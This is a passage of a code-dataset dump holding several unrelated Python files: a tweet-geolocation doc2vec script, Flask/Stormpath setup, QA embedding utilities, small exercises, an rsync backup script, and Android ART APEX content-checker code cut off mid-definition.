self.play(Transform(second_line,third_line))\n        self.wait(2)\n        second_line.shift(3*DOWN)\n        self.play(ApplyMethod(my_first_text.shift,3*UP))       ","sub_path":"manim_tutorial_1.py","file_name":"manim_tutorial_1.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"182962908","text":"import argparse\nimport json\nimport sys\nfrom collections import Counter, defaultdict\nimport numpy as np\nimport pandas as pd\nfrom gensim.models.doc2vec import Doc2Vec\nfrom itertools import islice\nimport sklearn\nfrom statistics import mode, median\nimport multiprocessing\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import precision_score\nfrom sklearn.model_selection import train_test_split\nfrom gensim.models.doc2vec import TaggedDocument\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom copy import deepcopy\nimport fiona\nfrom shapely.geometry import shape, Point\nimport nltk\nnltk.download('punkt')\n\nNUM_EPOCH = 100\nEXTRACTED = \"extracted_2019-02-02\"\n# EXTRACTED = \"extracted_small_2000\"\nWORKING_DIR = \"/shared/0/projects/location-inference/working-dir/textual_data/training/\"\n# WORKING_DIR = \"./\"\n\nEARTH_RADIUS = 6371\ndef get_distance(lat_lon_pair1, lat_lon_pair2):\n    \n    dlat = np.radians(lat_lon_pair1[0]) - np.radians(lat_lon_pair2[0])\n    dlon = np.radians(lat_lon_pair1[1]) - np.radians(lat_lon_pair2[1])\n    a = np.square(np.sin(dlat / 2.0)) + np.cos(np.radians(lat_lon_pair2[0])) * np.cos(np.radians(lat_lon_pair1[0])) * np.square(\n        np.sin(dlon / 2.0))\n    great_circle_distance = 2 * np.arcsin(np.minimum(np.sqrt(a), np.repeat(1, 1)))\n    d = EARTH_RADIUS * great_circle_distance\n\n    return d\n\n\ndef read_in_extracted(filename):\n    df = pd.DataFrame.from_csv(filename)\n    return df\n\n\ndef build_test_dict(df):\n    tweet_id_to_corpus_list = {}\n    user_to_tweet_id = {}\n    tweet_id_to_user = {}\n    user_to_ll = {}\n    for index, row in df.iterrows():\n        complete_city_name = (\n            row['city']+\",\"+str(row['country_code'])).replace(' ', '').lower()\n        # build tweet_id to info dict\n        words_in_tweet = nltk.word_tokenize(row['text'].lower())\n        tweet_id = row['tweet_id']\n        tweet_id_to_corpus_list[tweet_id] = {}\n        tweet_id_to_corpus_list[tweet_id]['words_in_tweet'] = words_in_tweet\n        tweet_id_to_corpus_list[tweet_id]['tag'] = complete_city_name\n        # idx_to_corpus_list.append(TaggedDocument(words_in_tweet, tags=complete_city_name))\n\n        # build tweet_id to user_id and vice versa dictionary\n        user_id = row['user_id']\n        if user_id not in user_to_tweet_id:\n            user_to_tweet_id[user_id] = []\n        user_to_tweet_id[user_id].append(tweet_id)\n\n        # set ground truth to be user's average lat lon\n        if user_id not in user_to_ll:\n            user_to_ll[user_id] = {}\n            user_to_ll[user_id]['num_entries'] = 0\n            user_to_ll[user_id]['lat'] = 0\n            user_to_ll[user_id]['lon'] = 0\n\n        # Use user's average lat lon as ground truth?\n        user_to_ll[user_id]['num_entries'] += 1\n        user_to_ll[user_id]['lat'] \\\n            = (user_to_ll[user_id]['lat']\n               + float(row['lat'])) \\\n            / user_to_ll[user_id]['num_entries']\n\n        user_to_ll[user_id]['lon'] \\\n            = (user_to_ll[user_id]['lon']\n               + float(row['lon'])) \\\n            / user_to_ll[user_id]['num_entries']\n\n        #\n        tweet_id_to_user[tweet_id] = user_id\n\n    return tweet_id_to_corpus_list, tweet_id_to_user, user_to_tweet_id, user_to_ll\n\n\ndef split_train_val_test(df, test_ratio=0.1, val_ratio=0.2):\n\n    train_val, test_df = train_test_split(df, test_size=test_ratio, random_state=50)\n    train_df, val_df = train_test_split(df, test_size=val_ratio, random_state=50)\n\n    return train_df, val_df, test_df\n\n\ndef get_training_corpus_and_loc_to_ll(train_df):\n    loc_to_ll = {}\n    corpus_list = []\n    # build loc_to_ll dict\n    for index, row in train_df.iterrows():\n        complete_city_name = (\n            row['city']+\",\"+str(row['country_code'])).replace(' ', '').lower()\n        if complete_city_name not in loc_to_ll:\n            loc_to_ll[complete_city_name] = {}\n            loc_to_ll[complete_city_name]['num_entries'] = 0\n            loc_to_ll[complete_city_name]['lat'] = 0\n            loc_to_ll[complete_city_name]['lon'] = 0\n\n        # Average lat lons in the same city\n        loc_to_ll[complete_city_name]['num_entries'] += 1\n        loc_to_ll[complete_city_name]['lat'] \\\n            = (loc_to_ll[complete_city_name]['lat']\n               + float(row['lat'])) \\\n            / loc_to_ll[complete_city_name]['num_entries']\n\n        loc_to_ll[complete_city_name]['lon'] \\\n            = (loc_to_ll[complete_city_name]['lon']\n               + float(row['lon'])) \\\n            / loc_to_ll[complete_city_name]['num_entries']\n\n        words_in_tweet = nltk.word_tokenize(row['text'].lower())\n        corpus_list.append(TaggedDocument(\n            words_in_tweet, tags=[complete_city_name]))\n\n    return corpus_list, loc_to_ll\n\n\ndef train_Doc2Vec(corpus, window=15, min_occurrence=10,\n                  cores=int(multiprocessing.cpu_count()/2)):\n\n    model = Doc2Vec(size=300, window=window, min_count=min_occurrence, negative=5, hs=0,\n                    workers=cores, iter=10, sample=0.00001, dm=0, dbow_words=1, seed=50)\n\n    # print(corpus)\n    print('\\nbuilding model')\n    model.build_vocab(corpus)\n    print('\\ntraining model')\n    model.train(corpus, total_examples=model.corpus_count, epochs=NUM_EPOCH)\n    print('DONE training!')\n\n    model.delete_temporary_training_data(keep_doctags_vectors=True, keep_inference=True)\n    print(\"Saving model to %strain.model\" % WORKING_DIR)\n    model.save('%strained.model' % WORKING_DIR)\n\n    return model\n\n\ndef infer_val(model, tweet_id_to_corpus_list, tweet_id_to_user, loc_to_ll):\n    tweet_id_to_pred = {}\n    user_to_pred = {}\n    for tweet_id in tweet_id_to_corpus_list:\n        corpus = tweet_id_to_corpus_list[tweet_id]['words_in_tweet']\n        inferred_vector = model.infer_vector(corpus)\n        # get the tag of the most similar vector\n        # print(model.docvecs.most_similar([inferred_vector], topn=1))\n        tag, score = model.docvecs.most_similar([inferred_vector], topn=1)[0]\n        tweet_id_to_pred[tweet_id] = tag\n        # append tag to user's prediction list\n        user_id = tweet_id_to_user[tweet_id]\n        if user_id not in user_to_pred:\n            user_to_pred[user_id] = []\n        user_to_pred[user_id].append(str(tag))\n    \n    # set the most frequent tag as user's predicted location\n    for user_id in user_to_pred:\n        # print(user_id)\n        user_to_pred[user_id] = median(user_to_pred[user_id]) if len(user_to_pred[user_id]) % 2 != 0 else median(user_to_pred[user_id][1:])\n        # print(user_to_pred[user_id])\n        # exit(1)\n    \n\n    return tweet_id_to_pred, user_to_pred\n\n\ndef evaluate_pred(loc_to_ll, user_to_pred, user_to_ll):\n    error_list = []\n    for user_id in user_to_pred:\n        # print(user_id)\n        predicted_tag = user_to_pred[user_id]\n        predicted_ll = loc_to_ll[predicted_tag]\n        actual_ll = user_to_ll[user_id]\n        error = float(get_distance((predicted_ll['lat'], predicted_ll['lon']), (actual_ll['lat'], actual_ll['lon'])))\n        error_list.append(error)\n\n    return error_list\n\n\ndef analyze_error(pred_error):\n    within = 0\n    total = len(pred_error)\n    for e in pred_error:\n        if e < 161:\n            within += 1\n    \n    acc_161 = within/float(total)\n    median_error = np.median(pred_error)\n    print(\"Min: %s\" % np.amin(pred_error))\n    print(\"Max: %s\" % np.amax(pred_error))\n\n    return acc_161, median_error\n\n\ndef main():\n    # extracted contains user_id, tweet_id, text, lat, lon, city, country_code, source\n\n    df = read_in_extracted(\n        \"/shared/0/projects/location-inference/working-dir/textual_data/%s\" % EXTRACTED)\n    # df = read_in_extracted(\n    #     \"./extracted_small_2000\")\n\n    # get training, val, test sets\n    train_df, val_df, test_df = split_train_val_test(df)\n\n    # get training corpus, location to latlon map\n    train_corpus, loc_to_ll = get_training_corpus_and_loc_to_ll(train_df)\n\n    # build dicts for validation set\n    val_tweet_id_to_corpus_list, val_tweet_id_to_user, \\\n        val_user_to_tweet_id, user_to_ll = build_test_dict(val_df)  # use TaggedDocument instead of dict, reuse existing corpus?\n\n    # train model\n    model = train_Doc2Vec(train_corpus)  # save model somewhere\n\n    # infer on validation\n    tweet_id_to_pred, user_to_pred = infer_val(model, val_tweet_id_to_corpus_list, val_tweet_id_to_user, loc_to_ll)\n\n    # Evaluate validation prediction\n    pred_error = evaluate_pred(loc_to_ll, user_to_pred, user_to_ll)\n\n    # Get accuracy @ 161km and median error\n    acc_161, median_error = analyze_error(pred_error)\n\n    print(\"ACC @ 161: %s, median_error: %s\" % (acc_161, median_error))\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"src/geolocation_rex.py","file_name":"geolocation_rex.py","file_ext":"py","file_size_in_byte":8650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"346796144","text":"from datetime import datetime\n\nfrom flask_stormpath import StormpathManager\n\nfrom factory import create_app\nfrom flask import Flask, abort, flash, redirect, render_template, request, url_for\n#from flask.ext.stormpath import StormpathError, StormpathManager, User, login_required, login_user, logout_user, user\n#from factory import create_appcreate_app\n\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['SECRET_KEY'] = 'some_really_long_random_string_here'\napp.config['STORMPATH_API_KEY_FILE'] = 'apiKey.properties'\napp.config['STORMPATH_APPLICATION'] = 'flaskr'\n\n# These settings disable the built-in login / registration / logout functionality\n# Stormpath provides so we can make our own custom ones later!\napp.config['STORMPATH_ENABLE_LOGIN'] = False\napp.config['STORMPATH_ENABLE_REGISTRATION'] = False\napp.config['STORMPATH_ENABLE_LOGOUT'] = False\n\nstormpath_manager = StormpathManager(app)\n\n# @app.route('/')\n# def show_entries():\n#     return \"Hello World !!~~\"\n\nif __name__ == '__main__':\n    app2 = create_app()\n    app2.run()","sub_path":"examples/flaskr/flaskr/flaskr1.py","file_name":"flaskr1.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"285631966","text":"from nltk import word_tokenize\nfrom collections import Counter\nfrom gensim.models import KeyedVectors\nimport numpy as np\nfrom keras.preprocessing.sequence import pad_sequences\n\n# Build vocabulary (word to index mapping) from all words in data file\ndef build_vocab(qapairs):\n    wordcounts = Counter()\n    for qapair in qapairs:\n        for qword in qapair[0]:\n            wordcounts[qword] += 1\n        for aword in qapair[1]:\n            wordcounts[aword] += 1\n    words = [wordcount[0] for wordcount in wordcounts.most_common()]\n    word2idx = {w: i+1 for i,w in enumerate(words)}  # 0 = mask\n    return word2idx\n\n# Read questions and answers from data file\n# Given one question and four answer choices A,B,C,D\n# Return list of triples (question words, answer words, true/false\n# (based on whether this answer is correct or not))\ndef get_qa_pairs(filename):\n    qapairs = []\n    fqa = open(filename, \"r\")\n    header = True\n    for line in fqa:\n        if header == True:\n            header = False\n            continue\n        cols = line.strip().split(',')\n        qa = cols[-3]\n        a_idx = qa.find('(A)')\n        b_idx = qa.find('(B)')\n        c_idx = qa.find('(C)')\n        d_idx = qa.find('(D)')\n        question = qa[:a_idx-1].strip()\n        answers = ['' for _ in range(4)]\n        answers[0] = qa[a_idx+4:b_idx-1].strip()\n        answers[1] = qa[b_idx+4:c_idx-1].strip()\n        answers[2] = qa[c_idx+4:d_idx-1].strip()\n        answers[3] = qa[d_idx+4:].strip()\n        qwords = word_tokenize(question)\n\n        correct_ans = cols[3]\n        correct_ans_idx = ord(correct_ans) - ord('A')\n        for idx, answer in enumerate(answers):\n            awords = word_tokenize(answer)\n            qapairs.append((qwords, awords, idx == correct_ans_idx))\n    \n    fqa.close()\n    return qapairs\n\n# Convert questions and answers to vectors with word indices\ndef vectorize_qa_pairs(qapairs, word2idx, seq_maxlen):\n    Xq, Xa, Y = [], [], []\n    for qapair in qapairs:\n        Xq.append([word2idx[qword] for qword in qapair[0]])\n        Xa.append([word2idx[aword] for aword in qapair[1]])\n        Y.append(np.array([1, 0]) if qapair[2] else np.array([0, 1]))\n    return (pad_sequences(Xq, maxlen=seq_maxlen), \n            pad_sequences(Xa, maxlen=seq_maxlen),\n            np.array(Y))\n\n# For each word in our vocabulary, get the word2vec encoding of the word\n# Return the matrix of shape (vocab_size, embedding_size)\ndef get_word2vec_encodings(word2idx, w2vFile, embed_size=300):\n    vocab_size = len(word2idx) + 1\n    word2vec = KeyedVectors.load_word2vec_format(w2vFile, binary=True, limit=500000)\n    embedding_weights = np.zeros((vocab_size, embed_size))\n    for word, index in word2idx.items():\n        try:\n            embedding_weights[index, :] = word2vec[word.lower()]\n        except KeyError:\n            pass  # keep as zero\n        \n    return embedding_weights","sub_path":"QA Models/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"501254379","text":"class Solution:\n    def countPrimeSetBits(self, L, R):\n        import math\n        def isPrime(num):\n            for i in range(2,math.floor(math.sqrt(num))+1):\n                if num%i == 0: return False\n            return num != 1\n        ans = 0\n        for num in range(L, R+1):\n            if isPrime(bin(num).count('1')):\n                ans += 1\n        return ans        \n","sub_path":"762/lc762.py","file_name":"lc762.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"65192664","text":"#!/usr/bin/env python3\n\nimport multiprocessing\nimport subprocess, os\nfrom multiprocessing import Pool\nimport re\nimport time\n\nstart = time.perf_counter()\n\nsrc = \"/media/david/SSD-FILES\"\ndest = \"/media/david/BACKUP-TEST\"\n\n\n#def main(directory):\nprint(\"Syncing Data from (source){} to (destination){}\".format(src, dest))\nprint('')\n\nif __name__ == \"__main__\":\n\n    directories = []\n\n    for root, dirs, files in os.walk(src):\n        for d in dirs:\n            print(d)\n            directories.append(d)\n\n        break\n    len_d = len(directories)\n    print('')\n    print('Backed up '+ str(len_d) + ' directories')\n    print('')\n\n    pool = Pool(multiprocessing.cpu_count())\n    pool.apply(subprocess.call, args=([\"rsync\", \"-arq\", src, dest],))\n\nfinish = time.perf_counter()\n\nprint(f'Finished in {round(finish-start, 2)} second(s)')\n","sub_path":"dailysync.py","file_name":"dailysync.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"51126617","text":"\"\"\"Diseñar una función que determine si una lista de nùmeros enteros está ordenada de menor\na mayor y cada número i entre el 1 y n aparece exactamente i veces\n\nEjemplo = \npara n= 5\nesTelescopio(5,[1,2,2,3,3,3,4,4,4,4,5,5,5,5,5])-->verdadero\"\"\"\n\ndef lista_telescopio(n):\n    listaaux = []\n    n=5\n    for i in range(n+1):\n        for num in range(i):\n            listaaux.append(i)\n    return listaaux\n\ndef es_telescopio(num,lista):\n    lista_ordenada=sorted(lista)\n    return lista_telescopio(num)==lista_ordenada\n\nnumero1 =5\nlista1=[1,2,2,3,3,3,4,4,4,4,5,5,5,5,5]\nnumero2 = 4\nlista2=[1,2,2,3,6,3,4,4,4,4,5,5,5,5,5,6,6,6,6,6,3]\n\nprint(es_telescopio(numero2,lista2))\n","sub_path":"eje3guia4.py","file_name":"eje3guia4.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"522060667","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright (C) 2019 The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport argparse\nimport fnmatch\nimport logging\nimport os\nimport os.path\nimport subprocess\nimport sys\nimport zipfile\n\nlogging.basicConfig(format='%(message)s')\n\n# Flavors of ART APEX package.\nFLAVOR_RELEASE = 'release'\nFLAVOR_DEBUG = 'debug'\nFLAVOR_TESTING = 'testing'\nFLAVOR_AUTO = 'auto'\nFLAVORS_ALL = [FLAVOR_RELEASE, FLAVOR_DEBUG, FLAVOR_TESTING, FLAVOR_AUTO]\n\n# Bitness options for APEX package\nBITNESS_32 = '32'\nBITNESS_64 = '64'\nBITNESS_MULTILIB = 'multilib'\nBITNESS_AUTO = 'auto'\nBITNESS_ALL = [BITNESS_32, BITNESS_64, BITNESS_MULTILIB, BITNESS_AUTO]\n\n# Architectures supported by APEX packages.\nARCHS = [\"arm\", \"arm64\", \"x86\", \"x86_64\"]\n\n# Directory containing ART tests within an ART APEX (if the package includes\n# any). ART test executables are installed in `bin/art/<arch>`. Segregating\n# tests by architecture is useful on devices supporting more than one\n# architecture, as it permits testing all of them using a single ART APEX\n# package.\nART_TEST_DIR = 'bin/art'\n\n\n# Test if a given variable is set to a string \"true\".\ndef isEnvTrue(var):\n  return var in os.environ and os.environ[var] == 'true'\n\n\nclass FSObject:\n  def __init__(self, name, is_dir, is_exec, is_symlink, size):\n    self.name = name\n    self.is_dir = is_dir\n    self.is_exec = is_exec\n    self.is_symlink = is_symlink\n    self.size = size\n\n  def __str__(self):\n    return '%s(dir=%r,exec=%r,symlink=%r,size=%d)' \\\n             % (self.name, self.is_dir, self.is_exec, self.is_symlink, self.size)\n\n\nclass TargetApexProvider:\n  def __init__(self, apex, tmpdir, debugfs):\n    self._tmpdir = tmpdir\n    self._debugfs = debugfs\n    self._folder_cache = {}\n    self._payload = os.path.join(self._tmpdir, 'apex_payload.img')\n    # Extract payload to tmpdir.\n    apex_zip = zipfile.ZipFile(apex)\n    apex_zip.extract('apex_payload.img', tmpdir)\n\n  def __del__(self):\n    # Delete temps.\n    if os.path.exists(self._payload):\n      os.remove(self._payload)\n\n  def get(self, path):\n    apex_dir, name = os.path.split(path)\n    if not apex_dir:\n      apex_dir = '.'\n    apex_map = self.read_dir(apex_dir)\n    return apex_map[name] if name in apex_map else None\n\n  def read_dir(self, apex_dir):\n    if apex_dir in self._folder_cache:\n      return self._folder_cache[apex_dir]\n    # Cannot use check_output as it will annoy with stderr.\n    process = subprocess.Popen([self._debugfs, '-R', 'ls -l -p %s' % apex_dir, self._payload],\n                               stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n                               universal_newlines=True)\n    stdout, _ = process.communicate()\n    res = str(stdout)\n    apex_map = {}\n    # Debugfs output looks like this:\n    #   debugfs 1.44.4 (18-Aug-2018)\n    #   /12/040755/0/2000/.//\n    #   /2/040755/1000/1000/..//\n    #   /13/100755/0/2000/dalvikvm32/28456/\n    #   /14/100755/0/2000/dexoptanalyzer/20396/\n    #   /15/100755/0/2000/linker/1152724/\n    #   /16/100755/0/2000/dex2oat/563508/\n    #   /17/100755/0/2000/linker64/1605424/\n    #   /18/100755/0/2000/profman/85304/\n    #   /19/100755/0/2000/dalvikvm64/28576/\n    #    |     |   |   |       |        |\n    #    |     |   |   #- gid  #- name  #- size\n    #    |     |   #- uid\n    #    |     #- type and permission bits\n    #    #- inode nr (?)\n    #\n    # Note: could break just on '/' to avoid names with newlines.\n    for line in res.split(\"\\n\"):\n      if not line:\n        continue\n      comps = line.split('/')\n      if len(comps) != 8:\n        logging.warning('Could not break and parse line \\'%s\\'', line)\n        continue\n      bits = comps[2]\n      name = comps[5]\n      size_str = comps[6]\n      # Use a negative value as an indicator of undefined/unknown size.\n      size = int(size_str) if size_str != '' else -1\n      if len(bits) != 6:\n        logging.warning('Dont understand bits \\'%s\\'', bits)\n        continue\n      is_dir = bits[1] == '4'\n\n      def is_exec_bit(ch):\n        return int(ch) & 1 == 1\n\n      is_exec = is_exec_bit(bits[3]) and is_exec_bit(bits[4]) and is_exec_bit(bits[5])\n      is_symlink = bits[1] == '2'\n      apex_map[name] = FSObject(name, is_dir, is_exec, is_symlink, size)\n    self._folder_cache[apex_dir] = apex_map\n    return apex_map\n\n\nclass TargetFlattenedApexProvider:\n  def __init__(self, apex):\n    self._folder_cache = {}\n    self._apex = apex\n\n  def get(self, path):\n    apex_dir, name = os.path.split(path)\n    if not apex_dir:\n      apex_dir = '.'\n    apex_map = self.read_dir(apex_dir)\n    return apex_map[name] if name in apex_map else None\n\n  def read_dir(self, apex_dir):\n    if apex_dir in self._folder_cache:\n      return self._folder_cache[apex_dir]\n    apex_map = {}\n    dirname = os.path.join(self._apex, apex_dir)\n    if os.path.exists(dirname):\n      for basename in os.listdir(dirname):\n        filepath = os.path.join(dirname, basename)\n        is_dir = os.path.isdir(filepath)\n        is_exec = os.access(filepath, os.X_OK)\n        is_symlink = os.path.islink(filepath)\n        if is_symlink:\n          # Report the length of the symlink's target's path as file size, like `ls`.\n          size = len(os.readlink(filepath))\n        else:\n          size = os.path.getsize(filepath)\n        apex_map[basename] = FSObject(basename, is_dir, is_exec, is_symlink, size)\n    self._folder_cache[apex_dir] = apex_map\n    return apex_map\n\n\nclass HostApexProvider:\n  def __init__(self, apex, tmpdir):\n    self._tmpdir = tmpdir\n    self._folder_cache = {}\n    self._payload = os.path.join(self._tmpdir, 'apex_payload.zip')\n    # Extract payload to tmpdir.\n    apex_zip = zipfile.ZipFile(apex)\n    apex_zip.extract('apex_payload.zip', tmpdir)\n\n  def __del__(self):\n    # Delete temps.\n    if os.path.exists(self._payload):\n      os.remove(self._payload)\n\n  def get(self, path):\n    apex_dir, name = os.path.split(path)\n    if not apex_dir:\n      apex_dir = ''\n    apex_map = self.read_dir(apex_dir)\n    return apex_map[name] if name in apex_map else None\n\n  def read_dir(self, apex_dir):\n    if apex_dir in self._folder_cache:\n      return self._folder_cache[apex_dir]\n    if not self._folder_cache:\n      self.parse_zip()\n    if apex_dir in self._folder_cache:\n      return self._folder_cache[apex_dir]\n    return {}\n\n  def parse_zip(self):\n    apex_zip = zipfile.ZipFile(self._payload)\n    infos = apex_zip.infolist()\n    for zipinfo in infos:\n      path = zipinfo.filename\n\n      # Assume no empty file is stored.\n      assert path\n\n      def get_octal(val, index):\n        return (val >> (index * 3)) & 0x7\n\n      def bits_is_exec(val):\n        # TODO: Enforce group/other, too?\n        return get_octal(val, 2) & 1 == 1\n\n      is_zipinfo = True\n      while path:\n        apex_dir, base = os.path.split(path)\n        # TODO: If directories are stored, base will be empty.\n\n        if apex_dir not in self._folder_cache:\n          self._folder_cache[apex_dir] = {}\n        dir_map = self._folder_cache[apex_dir]\n        if base not in dir_map:\n          if is_zipinfo:\n            bits = (zipinfo.external_attr >> 16) & 0xFFFF\n            is_dir = get_octal(bits, 4) == 4\n            is_symlink = get_octal(bits, 4) == 2\n            is_exec = bits_is_exec(bits)\n            size = zipinfo.file_size\n          else:\n            is_exec = False  # Seems we can't get this easily?\n            is_symlink = False\n            is_dir = True\n            # Use a negative value as an indicator of undefined/unknown size.\n            size = -1\n          dir_map[base] = FSObject(base, is_dir, is_exec, is_symlink, size)\n        is_zipinfo = False\n        path = apex_dir\n\n\n# DO NOT USE DIRECTLY! This is an \"abstract\" base class.\nclass Checker:\n  def __init__(self, provider):\n    self._provider = provider\n    self._errors = 0\n    self._expected_file_globs = set()\n\n  def fail(self, msg, *fail_args):\n    self._errors += 1\n    logging.error(msg, *fail_args)\n\n  def error_count(self):\n    return self._errors\n\n  def reset_errors(self):\n    self._errors = 0\n\n  def is_file(self, path):\n    fs_object = self._provider.get(path)\n    if fs_object is None:\n      return False, 'Could not find %s'\n    if fs_object.is_dir:\n      return False, '%s is a directory'\n    return True, ''\n\n  def is_dir(self, path):\n    fs_object = self._provider.get(path)\n    if fs_object is None:\n      return False, 'Could not find %s'\n    if not fs_object.is_dir:\n      return False, '%s is not a directory'\n    return True, ''\n\n  def check_file(self, path):\n    ok, msg = self.is_file(path)\n    if not ok:\n      self.fail(msg, path)\n    self._expected_file_globs.add(path)\n    return ok\n\n  def check_executable(self, filename):\n    path = 'bin/%s' % filename\n    if not self.check_file(path):\n      return\n    if not self._provider.get(path).is_exec:\n      self.fail('%s is not executable', path)\n\n  def check_executable_symlink(self, filename):\n    path = 'bin/%s' % filename\n    fs_object = self._provider.get(path)\n    if fs_object is None:\n      self.fail('Could not find %s', path)\n      return\n    if fs_object.is_dir:\n      self.fail('%s is a directory', path)\n      return\n    if not fs_object.is_symlink:\n      self.fail('%s is not a symlink', path)\n    self._expected_file_globs.add(path)\n\n  def arch_dirs_for_path(self, path):\n    # Look for target-specific subdirectories for the given directory path.\n    # This is needed because the list of build targets is not propagated\n    # to this script.\n    #\n    # TODO(b/123602136): Pass build target information to this script and fix\n    # all places where this function in used (or similar workarounds).\n    dirs = []\n    for arch in ARCHS:\n      dir = '%s/%s' % (path, arch)\n      found, _ = self.is_dir(dir)\n      if found:\n        dirs.append(dir)\n    return dirs\n\n  def check_art_test_executable(self, filename):\n    dirs = self.arch_dirs_for_path(ART_TEST_DIR)\n    if not dirs:\n      self.fail('ART test binary missing: %s', filename)\n    for dir in dirs:\n      test_path = '%s/%s' % (dir, filename)\n      self._expected_file_globs.add(test_path)\n      if not self._provider.get(test_path).is_exec:\n        self.fail('%s is not executable', test_path)\n\n  def check_single_library(self, filename):\n    lib_path = 'lib/%s' % filename\n    lib64_path = 'lib64/%s' % filename\n    lib_is_file, _ = self.is_file(lib_path)\n    if lib_is_file:\n      self._expected_file_globs.add(lib_path)\n    lib64_is_file, _ = self.is_file(lib64_path)\n    if lib64_is_file:\n      self._expected_file_globs.add(lib64_path)\n    if not lib_is_file and not lib64_is_file:\n      self.fail('Library missing: %s', filename)\n\n  def check_dexpreopt(self, basename):\n    dirs = self.arch_dirs_for_path('javalib')\n    for dir in dirs:\n      for ext in ['art', 'oat', 'vdex']:\n        self.check_file('%s/%s.%s' % (dir, basename, ext))\n\n  def check_java_library(self, basename):\n    return self.check_file('javalib/%s.jar' % basename)\n\n  def ignore_path(self, path_glob):\n    self._expected_file_globs.add(path_glob)\n\n  def check_optional_art_test_executable(self, filename):\n    for arch in ARCHS:\n      self.ignore_path('%s/%s/%s' % (ART_TEST_DIR, arch, filename))\n\n  def check_no_superfluous_files(self, dir_path):\n    paths = []\n    for name in sorted(self._provider.read_dir(dir_path).keys()):\n      if name not in ('.', '..'):\n        paths.append(os.path.join(dir_path, name))\n    expected_paths = set()\n    dir_prefix = dir_path + '/'\n    for path_glob in self._expected_file_globs:\n      expected_paths |= set(fnmatch.filter(paths, path_glob))\n      # If there are globs in subdirectories of dir_path we want to match their\n      # path segments at this directory level.\n      if path_glob.startswith(dir_prefix):\n        subpath = path_glob[len(dir_prefix):]\n        subpath_first_segment, _, _ = subpath.partition('/')\n        expected_paths |= set(fnmatch.filter(paths, dir_prefix + subpath_first_segment))\n    for unexpected_path in set(paths) - expected_paths:\n      self.fail('Unexpected file \\'%s\\'', unexpected_path)\n\n  # Just here for docs purposes, even if it isn't good Python style.\n\n  def check_symlinked_multilib_executable(self, filename):\n    \"\"\"Check bin/filename32, and/or bin/filename64, with symlink bin/filename.\"\"\"\n    raise NotImplementedError\n\n  def check_symlinked_first_executable(self, filename):\n    \"\"\"Check bin/filename32, and/or bin/filename64, with symlink bin/filename.\"\"\"\n    raise NotImplementedError\n\n  def check_multilib_executable(self, filename):\n    \"\"\"Check bin/filename for 32 bit, and/or bin/filename64.\"\"\"\n    raise NotImplementedError\n\n  def check_first_executable(self, filename):\n    \"\"\"Check bin/filename for 32 bit, and/or bin/filename64.\"\"\"\n    raise NotImplementedError\n\n  def check_native_library(self, basename):\n    \"\"\"Check lib/basename.so, and/or lib64/basename.so.\"\"\"\n    raise NotImplementedError\n\n  def check_optional_native_library(self, basename_glob):\n    \"\"\"Allow lib/basename.so and/or lib64/basename.so to exist.\"\"\"\n    raise NotImplementedError\n\n  def check_prefer64_library(self, basename):\n    \"\"\"Check lib64/basename.so, or lib/basename.so on 32 bit only.\"\"\"\n    raise NotImplementedError\n\n\nclass Arch32Checker(Checker):\n  def check_symlinked_multilib_executable(self, filename):\n    self.check_executable('%s32' % filename)\n    self.check_executable_symlink(filename)\n\n  def check_symlinked_first_executable(self, filename):\n    self.check_executable('%s32' % filename)\n    self.check_executable_symlink(filename)\n\n  def check_multilib_executable(self, filename):\n    self.check_executable('%s32' % filename)\n\n  def check_first_executable(self, filename):\n    self.check_executable('%s32' % filename)\n\n  def check_native_library(self, basename):\n    # TODO: Use $TARGET_ARCH (e.g. check whether it is \"arm\" or \"arm64\") to improve\n    # the precision of this test?\n    self.check_file('lib/%s.so' % basename)\n\n  def check_optional_native_library(self, basename_glob):\n    self.ignore_path('lib/%s.so' % basename_glob)\n\n  def check_prefer64_library(self, basename):\n    self.check_native_library(basename)\n\n\nclass Arch64Checker(Checker):\n  def check_symlinked_multilib_executable(self, filename):\n    self.check_executable('%s64' % filename)\n    self.check_executable_symlink(filename)\n\n  def check_symlinked_first_executable(self, filename):\n    self.check_executable('%s64' % filename)\n    self.check_executable_symlink(filename)\n\n  def check_multilib_executable(self, filename):\n    self.check_executable('%s64' % filename)\n\n  def check_first_executable(self, filename):\n    self.check_executable('%s64' % filename)\n\n  def check_native_library(self, basename):\n    # TODO: Use $TARGET_ARCH (e.g. check whether it is \"arm\" or \"arm64\") to improve\n    # the precision of this test?\n    self.check_file('lib64/%s.so' % basename)\n\n  def check_optional_native_library(self, basename_glob):\n    self.ignore_path('lib64/%s.so' % basename_glob)\n\n  def check_prefer64_library(self, basename):\n    self.check_native_library(basename)\n\n\nclass MultilibChecker(Checker):\n  def check_symlinked_multilib_executable(self, filename):\n    self.check_executable('%s32' % filename)\n    self.check_executable('%s64' % filename)\n    self.check_executable_symlink(filename)\n\n  def 